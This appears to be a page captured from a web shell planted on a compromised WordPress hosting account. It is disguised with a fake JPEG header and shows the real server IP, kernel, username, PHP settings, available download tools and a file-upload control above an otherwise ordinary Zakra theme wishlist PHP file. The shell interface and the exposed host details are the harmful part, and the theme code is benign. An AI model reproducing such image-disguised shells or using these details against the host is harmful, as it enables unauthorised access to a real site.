????JFIF??x?x????'
Server IP : 104.21.80.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/inc/compatibility/yith/ |
Upload File : |
<?php /** * * Wishlist ajax count added in header action. * * @package WebShop * @since 1.1.0 */ // Exit if accessed directly. defined( 'ABSPATH' ) || exit; // check if woocommerce is activated. if ( class_exists( 'woocommerce' ) && defined( 'YITH_WCWL' ) ) { // Filter to change markup of wishlist after add to cart to before image. add_filter( 'yith_wcwl_add_to_wishlisth_button_html', function ( $template, $wishlist_url, $product_type, $exists, $atts ) { $atts['is_single'] = null; $atts['loop_position'] = 'before_image'; $atts['fragment_options']['loop_position'] = 'before_image'; return yith_wcwl_get_template( 'add-to-wishlist.php', $atts, true ); }, 10, 5 ); // Filter to add custom class zak-add-to-wishlist-{yith_wcwl_loop_position} to wishlist div. add_filter( 'woocommerce_post_class', function ( $classes ) { $prop = wc_get_loop_prop( 'name' ); if ( in_array( 'add-to-wishlist-before_add_to_cart', $classes, true ) ) { unset( $classes[ array_search( 'add-to-wishlist-before_add_to_cart', $classes ) ] ); } elseif ( in_array( 'add-to-wishlist-after_add_to_cart', $classes, true ) ) { unset( $classes[ array_search( 'add-to-wishlist-after_add_to_cart', $classes ) ] ); } $classes[] = 'add-to-wishlist-before_image'; $classes[] = 'zak-add-to-wishlist-' . get_option( 'yith_wcwl_loop_position', 'after_add_to_cart' ); return $classes; }, 11 ); // Replace "Add to wishlist" button class in block item. if ( zakra_is_zakra_pro_active() ) { add_filter( 'woocommerce_blocks_product_grid_item_html', 'replace_add_to_wishlist_button_class', 11, 3 ); function replace_add_to_wishlist_button_class( $item_html, $data, $product ) { $position = get_option( 'yith_wcwl_loop_position', 'after_add_to_cart' ); $button = YITH_WCWL_Frontend()->get_button( $product->get_id() ); $parts = array(); preg_match( '/(<li class=".*?">)[\S|\s]*?(<a .*?>[\S|\s]*?<\/a>)([\S|\s]*?)(<\/li>)/', $item_html, $parts ); if ( ! $parts || count( $parts ) < 5 ) { return $item_html; } // removes first match (entire match). array_shift( $parts ); // removes empty parts. $parts = array_filter( $parts ); // searches for index to cut parts array. switch ( $position ) { case 'before_image': $index = 1; break; case 'before_add_to_cart': $index = 2; break; case 'after_add_to_cart': $index = 3; break; } // if index is found, stitch button in correct position. if ( $index ) { $first_set = array_slice( $parts, 0, $index ); $second_set = array_slice( $parts, $index ); $parts = array_merge( $first_set, (array) $button, $second_set ); // replace li classes. $parts[0] = preg_replace( '/class="(.*)"/', 'class="$1 add-to-wishlist-' . $position . '"', $parts[0] ); } // join all parts together. $item_html = implode( '', $parts ); $item_html = preg_replace( '/(<li class=".*?">)/', "<li class=\"wc-block-grid__product add-to-wishlist-before_image zak-add-to-wishlist-$position\">", $item_html, 1 ); // return item. return $item_html; } } else { add_filter( 'woocommerce_blocks_product_grid_item_html', 'replace_add_to_wishlist_button_class', 11, 3 ); function replace_add_to_wishlist_button_class( $item_html, $data, $product ) { $position = get_option( 'yith_wcwl_loop_position', 'after_add_to_cart' ); $item_html = preg_replace( '/(<li class=".*?">)/', "<li class=\"wc-block-grid__product add-to-wishlist-before_image zak-add-to-wishlist-$position\">", $item_html, 1 ); return $item_html; } } } if ( defined( 'YITH_WCWL' ) && ! function_exists( 'yith_wcwl_get_items_count' ) ) { function yith_wcwl_display_items_count() { ob_start(); ?> <a href="<?php echo esc_url( YITH_WCWL()->get_wishlist_url() ); ?>"> <span class="yith-wcwl-items-count"> <i class="yith-wcwl-icon fa fa-heart-o"><span><?php echo esc_html( yith_wcwl_count_all_products() ); ?></span></i> </span> </a> <?php $output = ob_get_clean(); echo $output; // Output the items count HTML } add_action( 'yith_wcwl_items_count', 'yith_wcwl_display_items_count' ); } if ( defined( 'YITH_WCWL' ) && ! function_exists( 'yith_wcwl_ajax_update_count' ) ) { function yith_wcwl_ajax_update_count() { wp_send_json( array( 'count' => yith_wcwl_count_all_products(), ) ); } add_action( 'wp_ajax_yith_wcwl_update_wishlist_count', 'yith_wcwl_ajax_update_count' ); add_action( 'wp_ajax_nopriv_yith_wcwl_update_wishlist_count', 'yith_wcwl_ajax_update_count' ); } if ( defined( 'YITH_WCWL' ) && ! function_exists( 'yith_wcwl_enqueue_custom_script' ) ) { function yith_wcwl_enqueue_custom_script() { wp_add_inline_script( 'jquery-yith-wcwl', " jQuery( function( $ ) { $( document ).on( 'added_to_wishlist removed_from_wishlist', function() { $.get( yith_wcwl_l10n.ajax_url, { action: 'yith_wcwl_update_wishlist_count' }, function( data ) { $('.yith-wcwl-items-count i').children('span').html( data.count ); } ); } ); } ); " ); } add_action( 'wp_enqueue_scripts', 'yith_wcwl_enqueue_custom_script', 20 ); }